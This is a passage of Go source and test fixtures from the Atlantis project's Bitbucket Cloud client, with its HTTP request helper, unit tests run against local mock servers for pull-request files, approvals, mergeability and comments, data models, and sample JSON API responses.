models.Repo, _ models.PullRequest) error { // TODO implement return nil } func (b *Client) makeRequest(method string, path string, reqBody io.Reader) ([]byte, error) { req, err := b.prepRequest(method, path, reqBody) if err != nil { return nil, fmt.Errorf("constructing request: %w", err) } resp, err := b.httpClient.Do(req) if err != nil { return nil, err } defer resp.Body.Close() // nolint: errcheck requestStr := fmt.Sprintf("%s %s", method, path) if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusCreated && resp.StatusCode != http.StatusNoContent { respBody, _ := io.ReadAll(resp.Body) return nil, fmt.Errorf("making request %q unexpected status code: %d, body: %s", requestStr, resp.StatusCode, string(respBody)) } respBody, err := io.ReadAll(resp.Body) if err != nil { return nil, fmt.Errorf("reading response from request %q: %w", requestStr, err) } return respBody, nil } // GetTeamNamesForUser returns the names of the teams or groups that the user belongs to (in the organization the repository belongs to). func (b *Client) GetTeamNamesForUser(_ logging.SimpleLogging, _ models.Repo, _ models.User) ([]string, error) { return nil, nil } func (b *Client) SupportsSingleFileDownload(models.Repo) bool { return false } // GetFileContent a repository file content from VCS (which support fetch a single file from repository) // The first return value indicates whether the repo contains a file or not // if BaseRepo had a file, its content will placed on the second return value func (b *Client) GetFileContent(_ logging.SimpleLogging, _ models.Repo, _ string, _ string) (bool, []byte, error) { return false, []byte{}, fmt.Errorf("not implemented") } func (b *Client) GetCloneURL(_ logging.SimpleLogging, _ models.VCSHostType, _ string) (string, error) { return "", fmt.Errorf("not yet implemented") } func (b *Client) GetPullLabels(_ logging.SimpleLogging, _ models.Repo, _ models.PullRequest) ([]string, error) { return nil, fmt.Errorf("not yet implemented") } ================================================ FILE: server/events/vcs/bitbucketcloud/client_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package bitbucketcloud_test import ( "fmt" "net/http" "net/http/httptest" "os" "path/filepath" "strings" "testing" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs/bitbucketcloud" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) const diffstatURL = "/2.0/repositories/owner/repo/pullrequests/1/diffstat" // Should follow pagination properly. func TestClient_GetModifiedFilesPagination(t *testing.T) { logger := logging.NewNoopLogger(t) respTemplate := ` { "pagelen": 1, "values": [ { "type": "diffstat", "status": "modified", "lines_removed": 1, "lines_added": 2, "old": { "path": "%s", "type": "commit_file", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/bitbucket/geordi/src/e1749643d655d7c7014001a6c0f58abaf42ad850/setup.py" } } }, "new": { "path": "%s", "type": "commit_file", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/bitbucket/geordi/src/d222fa235229c55dad20b190b0b571adf737d5a6/setup.py" } } } } ], "page": 1, "size": 1 ` firstResp := fmt.Sprintf(respTemplate, "file1.txt", "file2.txt") secondResp := fmt.Sprintf(respTemplate, "file2.txt", "file3.txt") var serverURL string testServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { // The first request should hit this URL. case diffstatURL: resp := firstResp + fmt.Sprintf(`,"next": "%s%s?page=2"}`, serverURL, diffstatURL) w.Write([]byte(resp)) // nolint: errcheck return // The second should hit this URL. case fmt.Sprintf("%s?page=2", diffstatURL): w.Write([]byte(secondResp + "}")) // nolint: errcheck default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return } })) defer testServer.Close() serverURL = testServer.URL client := bitbucketcloud.New(http.DefaultClient, "user", "pass", "", "runatlantis.io") client.BaseURL = testServer.URL files, err := client.GetModifiedFiles( logger, models.Repo{ FullName: "owner/repo", Owner: "owner", Name: "repo", CloneURL: "", SanitizedCloneURL: "", VCSHost: models.VCSHost{ Type: models.BitbucketCloud, Hostname: "bitbucket.org", }, }, models.PullRequest{ Num: 1, }) Ok(t, err) Equals(t, []string{"file1.txt", "file2.txt", "file3.txt"}, files) } // If the "old" key in the list of files is nil we shouldn't error. func TestClient_GetModifiedFilesOldNil(t *testing.T) { logger := logging.NewNoopLogger(t) resp := ` { "pagelen": 500, "values": [ { "status": "added", "old": null, "lines_removed": 0, "lines_added": 2, "new": { "path": "parent/child/file1.txt", "type": "commit_file", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/src/1ed8205eec00dab4f1c0a8c486a4492c98c51f8e/main.tf" } } }, "type": "diffstat" } ], "page": 1, "size": 1 }` testServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { // The first request should hit this URL. case diffstatURL: w.Write([]byte(resp)) // nolint: errcheck return default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return } })) defer testServer.Close() client := bitbucketcloud.New(http.DefaultClient, "user", "pass", "", "runatlantis.io") client.BaseURL = testServer.URL files, err := client.GetModifiedFiles( logger, models.Repo{ FullName: "owner/repo", Owner: "owner", Name: "repo", CloneURL: "", SanitizedCloneURL: "", VCSHost: models.VCSHost{ Type: models.BitbucketCloud, Hostname: "bitbucket.org", }, }, models.PullRequest{ Num: 1, }) Ok(t, err) Equals(t, []string{"parent/child/file1.txt"}, files) } func TestClient_PullIsApproved(t *testing.T) { logger := logging.NewNoopLogger(t) cases := []struct { description string testdata string exp bool }{ { "no approvers", "pull-unapproved.json", false, }, { "approver is the author", "pull-approved-by-author.json", false, }, { "single approver", "pull-approved.json", true, }, { "two approvers one author", "pull-approved-multiple.json", true, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { json, err := os.ReadFile(filepath.Join("testdata", c.testdata)) Ok(t, err) testServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { // The first request should hit this URL. case "/2.0/repositories/owner/repo/pullrequests/1": w.Write(json) // nolint: errcheck return default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return } })) defer testServer.Close() client := bitbucketcloud.New(http.DefaultClient, "user", "pass", "", "runatlantis.io") client.BaseURL = testServer.URL repo, err := models.NewRepo(models.BitbucketServer, "owner/repo", "https://bitbucket.org/owner/repo.git", "user", "token") Ok(t, err) approvalStatus, err := client.PullIsApproved( logger, repo, models.PullRequest{ Num: 1, HeadBranch: "branch", Author: "author", BaseRepo: repo, }) Ok(t, err) Equals(t, c.exp, approvalStatus.IsApproved) }) } } func TestClient_PullIsMergeable(t *testing.T) { logger := logging.NewNoopLogger(t) cases := map[string]struct { DiffStat string ExpMergeable models.MergeableStatus }{ "mergeable": { DiffStat: `{ "pagelen": 500, "values": [ { "status": "added", "old": null, "lines_removed": 0, "lines_added": 2, "new": { "path": "parent/child/file1.txt", "type": "commit_file", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/src/1ed8205eec00dab4f1c0a8c486a4492c98c51f8e/main.tf" } } }, "type": "diffstat" } ], "page": 1, "size": 1 }`, ExpMergeable: models.MergeableStatus{ IsMergeable: true, }, }, "merge conflict": { DiffStat: `{ "pagelen": 500, "values": [ { "status": "merge conflict", "old": { "path": "main.tf", "type": "commit_file", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/src/6d6a8026a788621b37a9ac422a7d0ebb1500e85f/main.tf" } } }, "lines_removed": 1, "lines_added": 0, "new": { "path": "main.tf", "type": "commit_file", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/src/742e76108714365788f5681e99e4a64f45dce147/main.tf" } } }, "type": "diffstat" } ], "page": 1, "size": 1 }`, ExpMergeable: models.MergeableStatus{ IsMergeable: false, }, }, "merge conflict due to file deleted": { DiffStat: `{ "pagelen": 500, "values": [ { "status": "local deleted", "old": null, "lines_removed": 0, "lines_added": 3, "new": { "path": "main.tf", "type": "commit_file", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/src/3539b9f51c9f91e8f6280e89c62e2673ddc51144/main.tf" } } }, "type": "diffstat" } ], "page": 1, "size": 1 }`, ExpMergeable: models.MergeableStatus{ IsMergeable: false, }, }, } for name, c := range cases { t.Run(name, func(t *testing.T) { testServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { case diffstatURL: w.Write([]byte(c.DiffStat)) // nolint: errcheck return default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return } })) defer testServer.Close() client := bitbucketcloud.New(http.DefaultClient, "user", "pass", "", "runatlantis.io") client.BaseURL = testServer.URL actMergeable, err := client.PullIsMergeable( logger, models.Repo{ FullName: "owner/repo", Owner: "owner", Name: "repo", CloneURL: "", SanitizedCloneURL: "", VCSHost: models.VCSHost{ Type: models.BitbucketCloud, Hostname: "bitbucket.org", }, }, models.PullRequest{ Num: 1, }, "atlantis-test", []string{}) Ok(t, err) Equals(t, c.ExpMergeable, actMergeable) }) } } func TestClient_MarkdownPullLink(t *testing.T) { client := bitbucketcloud.New(http.DefaultClient, "user", "pass", "", "runatlantis.io") pull := models.PullRequest{Num: 1} s, _ := client.MarkdownPullLink(pull) exp := "#1" Equals(t, exp, s) } func TestClient_GetMyUUID(t *testing.T) { json, err := os.ReadFile(filepath.Join("testdata", "user.json")) Ok(t, err) testServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { case "/2.0/user": w.Write(json) // nolint: errcheck return default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return } })) defer testServer.Close() client := bitbucketcloud.New(http.DefaultClient, "user", "pass", "", "runatlantis.io") client.BaseURL = testServer.URL v, _ := client.GetMyUUID() Equals(t, v, "{00000000-0000-0000-0000-000000000001}") } func TestClient_GetComment(t *testing.T) { json, err := os.ReadFile(filepath.Join("testdata", "comments.json")) Ok(t, err) testServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { case "/2.0/repositories/myorg/myrepo/pullrequests/5/comments": w.Write(json) // nolint: errcheck return default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return } })) defer testServer.Close() client := bitbucketcloud.New(http.DefaultClient, "user", "pass", "", "runatlantis.io") client.BaseURL = testServer.URL v, _ := client.GetPullRequestComments( models.Repo{ FullName: "myorg/myrepo", Owner: "owner", Name: "myrepo", CloneURL: "", SanitizedCloneURL: "", VCSHost: models.VCSHost{ Type: models.BitbucketCloud, Hostname: "bitbucket.org", }, }, 5) Equals(t, len(v), 5) exp := "Plan" Assert(t, strings.Contains(v[1].Content.Raw, exp), "Comment should contain word \"%s\", has \"%s\"", exp, v[1].Content.Raw) } func TestClient_DeleteComment(t *testing.T) { testServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { case "/2.0/repositories/myorg/myrepo/pullrequests/5/comments/1": if r.Method == "DELETE" { w.WriteHeader(http.StatusNoContent) } return default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return } })) defer testServer.Close() client := bitbucketcloud.New(http.DefaultClient, "user", "pass", "", "runatlantis.io") client.BaseURL = testServer.URL err := client.DeletePullRequestComment( models.Repo{ FullName: "myorg/myrepo", Owner: "owner", Name: "myrepo", CloneURL: "", SanitizedCloneURL: "", VCSHost: models.VCSHost{ Type: models.BitbucketCloud, Hostname: "bitbucket.org", }, }, 5, 1) Ok(t, err) } func TestClient_HidePRComments(t *testing.T) { logger := logging.NewNoopLogger(t) comments, err := os.ReadFile(filepath.Join("testdata", "comments.json")) Ok(t, err) json, err := os.ReadFile(filepath.Join("testdata", "user.json")) Ok(t, err) called := 0 testServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { // we have two comments in the test file // The code is going to delete them all and then create a new one case "/2.0/repositories/myorg/myrepo/pullrequests/5/comments/498931882": if r.Method == "DELETE" { w.WriteHeader(http.StatusNoContent) } w.Write([]byte("")) // nolint: errcheck called += 1 return // This is the second one case "/2.0/repositories/myorg/myrepo/pullrequests/5/comments/498931784": if r.Method == "DELETE" { http.Error(w, "", http.StatusNoContent) } w.Write([]byte("")) // nolint: errcheck called += 1 return case "/2.0/repositories/myorg/myrepo/pullrequests/5/comments/49893111": Assert(t, r.Method != "DELETE", "Shouldn't delete this one") return case "/2.0/repositories/myorg/myrepo/pullrequests/5/comments": w.Write(comments) // nolint: errcheck return case "/2.0/user": w.Write(json) // nolint: errcheck return default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return } })) defer testServer.Close() client := bitbucketcloud.New(http.DefaultClient, "user", "pass", "", "runatlantis.io") client.BaseURL = testServer.URL err = client.HidePrevCommandComments(logger, models.Repo{ FullName: "myorg/myrepo", Owner: "owner", Name: "myrepo", CloneURL: "", SanitizedCloneURL: "", VCSHost: models.VCSHost{ Type: models.BitbucketCloud, Hostname: "bitbucket.org", }, }, 5, "plan", "") Ok(t, err) Equals(t, 2, called) } ================================================ FILE: server/events/vcs/bitbucketcloud/models.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package bitbucketcloud const ( PullCreatedHeader = "pullrequest:created" PullUpdatedHeader = "pullrequest:updated" PullFulfilledHeader = "pullrequest:fulfilled" PullRejectedHeader = "pullrequest:rejected" PullCommentCreatedHeader = "pullrequest:comment_created" ) type CommentEvent struct { CommonEventData Comment *Comment `json:"comment,omitempty" validate:"required"` } type PullRequestEvent struct { CommonEventData } type CommonEventData struct { Actor *Actor `json:"actor,omitempty" validate:"required"` Repository *Repository `json:"repository,omitempty" validate:"required"` PullRequest *PullRequest `json:"pullrequest,omitempty" validate:"required"` } type DiffStat struct { Values []DiffStatValue `json:"values,omitempty" validate:"required"` Next *string `json:"next,omitempty"` } type DiffStatValue struct { Status *string `json:"status,omitempty" validate:"required"` // Old is the old file, this can be null. Old *DiffStatFile `json:"old,omitempty"` // New is the new file, this can be null. New *DiffStatFile `json:"new,omitempty"` } type DiffStatFile struct { Path *string `json:"path,omitempty" validate:"required"` } type Actor struct { AccountID *string `json:"account_id,omitempty" validate:"required"` } type Repository struct { FullName *string `json:"full_name,omitempty" validate:"required"` Links Links `json:"links" validate:"required"` } type User struct { Type *string `json:"type,omitempty" validate:"required"` CreateOn *string `json:"created_on" validate:"required"` DisplayName *string `json:"display_name" validate:"required"` Username *string `json:"username" validate:"required"` UUID *string `json:"uuid" validate:"required"` } type UserInComment struct { Type *string `json:"type,omitempty" validate:"required"` Nickname *string `json:"nickname" validate:"required"` DisplayName *string `json:"display_name" validate:"required"` UUID *string `json:"uuid" validate:"required"` } type PullRequestComment struct { ID *int `json:"id,omitempty" validate:"required"` User *UserInComment `json:"user" validate:"required"` Content *struct { Raw string `json:"raw"` } `json:"content" validate:"required"` } type PullRequestComments struct { Values []PullRequestComment `json:"values,omitempty"` } type PullRequest struct { ID *int `json:"id,omitempty" validate:"required"` Source *BranchMeta `json:"source,omitempty" validate:"required"` Destination *BranchMeta `json:"destination,omitempty" validate:"required"` Participants []Participant `json:"participants,omitempty" validate:"required"` Links *Links `json:"links,omitempty" validate:"required"` State *string `json:"state,omitempty" validate:"required"` Author *Author `jsonN:"author,omitempty" validate:"required"` } type Links struct { HTML *Link `json:"html,omitempty" validate:"required"` } type Link struct { HREF *string `json:"href,omitempty" validate:"required"` } type Participant struct { Approved *bool `json:"approved,omitempty" validate:"required"` User *struct { UUID *string `json:"uuid,omitempty" validate:"required"` } `json:"user,omitempty" validate:"required"` } type BranchMeta struct { Repository *Repository `json:"repository,omitempty" validate:"required"` Commit *Commit `json:"commit,omitempty" validate:"required"` Branch *Branch `json:"branch,omitempty" validate:"required"` } type Branch struct { Name *string `json:"name,omitempty" validate:"required"` } type Commit struct { Hash *string `json:"hash,omitempty" validate:"required"` } type Comment struct { Content *CommentContent `json:"content,omitempty" validate:"required"` } type CommentContent struct { Raw *string `json:"raw,omitempty" validate:"required"` } type Author struct { UUID *string `json:"uuid,omitempty" validate:"required"` } ================================================ FILE: server/events/vcs/bitbucketcloud/testdata/comments.json ================================================ { "values": [ { "id": 498931784, "created_on": "2024-05-07T12:21:45.858898+00:00", "updated_on": "2024-05-07T12:21:45.859011+00:00", "content": { "type": "rendered", "raw": "atlantis plan", "markup": "markdown", "html": "

atlantis plan

" }, "user": { "display_name": "Ragne", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/%7B00000000-0000-0000-0000-000000000001%7D" }, "avatar": { "href": "https://avatar-management--avatars.us-west-2.prod.public.atl-paas.net/initials/EM-3.png" }, "html": { "href": "https://bitbucket.org/%7B00000000-0000-0000-0000-000000000001%7D/" } }, "type": "user", "uuid": "{00000000-0000-0000-0000-000000000001}", "account_id": "000000:00000000-0000-0000-0000-000000000001", "nickname": "Ragne" }, "deleted": false, "pending": false, "type": "pullrequest_comment", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/myworkspace/myrepo/pullrequests/5/comments/498931784" }, "html": { "href": "https://bitbucket.org/myworkspace/myrepo/pull-requests/5/_/diff#comment-498931784" } }, "pullrequest": { "type": "pullrequest", "id": 5, "title": "for test", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/myworkspace/myrepo/pullrequests/5" }, "html": { "href": "https://bitbucket.org/myworkspace/myrepo/pull-requests/5" } } } }, { "id": 498931802, "created_on": "2024-05-07T12:21:48.737851+00:00", "updated_on": "2024-05-07T12:21:48.737927+00:00", "content": { "type": "rendered", "raw": "Ran Plan for 0 projects:", "markup": "markdown", "html": "

Ran Plan for 0 projects:

" }, "user": { "display_name": "bb bot", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/%7B600000000-0000-0000-0000-000000000000%7D" }, "avatar": { "href": "https://secure.gravatar.com/avatar/d5c4bac76953df92f47d1dea43fcdba0?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FKB-4.png" }, "html": { "href": "https://bitbucket.org/%7B600000000-0000-0000-0000-000000000000%7D/" } }, "type": "user", "uuid": "{600000000-0000-0000-0000-000000000000}", "account_id": "00000000-0000-0000-0000-000000000000", "nickname": "bb bot" }, "deleted": false, "pending": false, "type": "pullrequest_comment", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/myworkspace/myrepo/pullrequests/5/comments/498931802" }, "html": { "href": "https://bitbucket.org/myworkspace/myrepo/pull-requests/5/_/diff#comment-498931802" } }, "pullrequest": { "type": "pullrequest", "id": 5, "title": "for test", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/myworkspace/myrepo/pullrequests/5" }, "html": { "href": "https://bitbucket.org/myworkspace/myrepo/pull-requests/5" } } } }, { "id": 498931882, "created_on": "2024-05-07T12:22:01.870344+00:00", "updated_on": "2024-05-07T12:22:01.870462+00:00", "content": { "type": "rendered", "raw": "atlantis plan", "markup": "markdown", "html": "

atlantis plan

" }, "user": { "display_name": "Ragne", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/%7B00000000-0000-0000-0000-000000000001%7D" }, "avatar": { "href": "https://avatar-management--avatars.us-west-2.prod.public.atl-paas.net/initials/EM-3.png" }, "html": { "href": "https://bitbucket.org/%7B00000000-0000-0000-0000-000000000001%7D/" } }, "type": "user", "uuid": "{00000000-0000-0000-0000-000000000001}", "account_id": "000000:00000000-0000-0000-0000-000000000001", "nickname": "Ragne" }, "deleted": false, "pending": false, "type": "pullrequest_comment", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/myworkspace/myrepo/pullrequests/5/comments/498931882" }, "html": { "href": "https://bitbucket.org/myworkspace/myrepo/pull-requests/5/_/diff#comment-498931882" } }, "pullrequest": { "type": "pullrequest", "id": 5, "title": "for test", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/myworkspace/myrepo/pullrequests/5" }, "html": { "href": "https://bitbucket.org/myworkspace/myrepo/pull-requests/5" } } } }, { "id": 498931901, "created_on": "2024-05-07T12:22:04.981415+00:00", "updated_on": "2024-05-07T12:22:04.981490+00:00", "content": { "type": "rendered", "raw": "Ran Plan for 0 projects:", "markup": "markdown", "html": "

Ran Plan for 0 projects:

" }, "user": { "display_name": "bb bot", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/%7B600000000-0000-0000-0000-000000000000%7D" }, "avatar": { "href": "https://secure.gravatar.com/avatar/d5c4bac76953df92f47d1dea43fcdba0?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FKB-4.png" }, "html": { "href": "https://bitbucket.org/%7B600000000-0000-0000-0000-000000000000%7D/" } }, "type": "user", "uuid": "{600000000-0000-0000-0000-000000000000}", "account_id": "00000000-0000-0000-0000-000000000000", "nickname": "bb bot" }, "deleted": false, "pending": false, "type": "pullrequest_comment", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/myworkspace/myrepo/pullrequests/5/comments/498931901" }, "html": { "href": "https://bitbucket.org/myworkspace/myrepo/pull-requests/5/_/diff#comment-498931901" } }, "pullrequest": { "type": "pullrequest", "id": 5, "title": "for test", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/myworkspace/myrepo/pullrequests/5" }, "html": { "href": "https://bitbucket.org/myworkspace/myrepo/pull-requests/5" } } } }, { "id": 49893111, "created_on": "2024-05-07T12:22:05.981415+00:00", "updated_on": "2024-05-07T12:22:05.981490+00:00", "content": { "type": "rendered", "raw": "Ran Apply for 0 projects:", "markup": "markdown", "html": "

Ran Apply for 0 projects:

" }, "user": { "display_name": "bb bot", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/%7B600000000-0000-0000-0000-000000000000%7D" }, "avatar": { "href": "https://secure.gravatar.com/avatar/d5c4bac76953df92f47d1dea43fcdba0?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FKB-4.png" }, "html": { "href": "https://bitbucket.org/%7B600000000-0000-0000-0000-000000000000%7D/" } }, "type": "user", "uuid": "{600000000-0000-0000-0000-000000000000}", "account_id": "00000000-0000-0000-0000-000000000000", "nickname": "bb bot" }, "deleted": false, "pending": false, "type": "pullrequest_comment", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/myworkspace/myrepo/pullrequests/5/comments/498931901" }, "html": { "href": "https://bitbucket.org/myworkspace/myrepo/pull-requests/5/_/diff#comment-498931901" } }, "pullrequest": { "type": "pullrequest", "id": 5, "title": "for test", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/myworkspace/myrepo/pullrequests/5" }, "html": { "href": "https://bitbucket.org/myworkspace/myrepo/pull-requests/5" } } } } ], "pagelen": 10, "size": 4, "page": 1 } ================================================ FILE: server/events/vcs/bitbucketcloud/testdata/pull-approved-by-author.json ================================================ { "rendered": { "description": { "raw": "main.tf edited online with Bitbucket", "markup": "markdown", "html": "

main.tf edited online with Bitbucket

", "type": "rendered" }, "title": { "raw": "main.tf edited online with Bitbucket", "markup": "markdown", "html": "

main.tf edited online with Bitbucket

", "type": "rendered" } }, "type": "pullrequest", "description": "main.tf edited online with Bitbucket", "links": { "decline": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/decline" }, "commits": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/commits" }, "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12" }, "comments": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/comments" }, "merge": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/merge" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example/pull-requests/12" }, "activity": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/activity" }, "diff": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/diff" }, "approve": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/approve" }, "statuses": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/statuses" } }, "title": "main.tf edited online with Bitbucket", "close_source_branch": true, "reviewers": [], "id": 12, "destination": { "commit": { "hash": "c641f2c615ad", "type": "commit", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/c641f2c615ad" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example/commits/c641f2c615ad" } } }, "repository": { "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example" }, "avatar": { "href": "https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default" } }, "type": "repository", "name": "atlantis-example", "full_name": "lkysow/atlantis-example", "uuid": "{94189367-116b-436a-9f77-2314b97a6067}" }, "branch": { "name": "main" } }, "created_on": "2019-02-12T16:48:04.251028+00:00", "summary": { "raw": "main.tf edited online with Bitbucket", "markup": "markdown", "html": "

main.tf edited online with Bitbucket

", "type": "rendered" }, "source": { "commit": { "hash": "75d1e7c57cd9", "type": "commit", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/75d1e7c57cd9" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example/commits/75d1e7c57cd9" } } }, "repository": { "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example" }, "avatar": { "href": "https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default" } }, "type": "repository", "name": "atlantis-example", "full_name": "lkysow/atlantis-example", "uuid": "{94189367-116b-436a-9f77-2314b97a6067}" }, "branch": { "name": "lkysow/maintf-edited-online-with-bitbucket-1549990080103" } }, "comment_count": 23, "state": "OPEN", "task_count": 0, "participants": [ { "role": "PARTICIPANT", "participated_on": "2019-06-03T13:55:54.065877+00:00", "type": "participant", "approved": true, "user": { "display_name": "Luke", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D" }, "html": { "href": "https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/" }, "avatar": { "href": "https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg" } }, "nickname": "Luke", "type": "user", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090" } }, { "role": "PARTICIPANT", "participated_on": "2019-06-03T13:51:47.350675+00:00", "type": "participant", "approved": false, "user": { "display_name": "Atlantisbot", "uuid": "{73686412-4495-426f-89a7-c69ff1c8d7b8}", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/%7B73686412-4495-426f-89a7-c69ff1c8d7b8%7D" }, "html": { "href": "https://bitbucket.org/%7B73686412-4495-426f-89a7-c69ff1c8d7b8%7D/" }, "avatar": { "href": "https://avatar-cdn.atlassian.com/5b5097035488b9140c078f7f?by=id&sg=vyisLdHfYH10sFOuFCvPgHKn6ds%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FA-1.png" } }, "nickname": "Atlantisbot", "type": "user", "account_id": "5b5097035488b9140c078f7f" } } ], "reason": "", "updated_on": "2019-06-03T13:55:54.081581+00:00", "author": { "display_name": "Luke", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D" }, "html": { "href": "https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/" }, "avatar": { "href": "https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg" } }, "nickname": "Luke", "type": "user", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090" }, "merge_commit": null, "closed_by": null } ================================================ FILE: server/events/vcs/bitbucketcloud/testdata/pull-approved-multiple.json ================================================ { "rendered": { "description": { "raw": "main.tf edited online with Bitbucket", "markup": "markdown", "html": "

main.tf edited online with Bitbucket

", "type": "rendered" }, "title": { "raw": "main.tf edited online with Bitbucket", "markup": "markdown", "html": "

main.tf edited online with Bitbucket

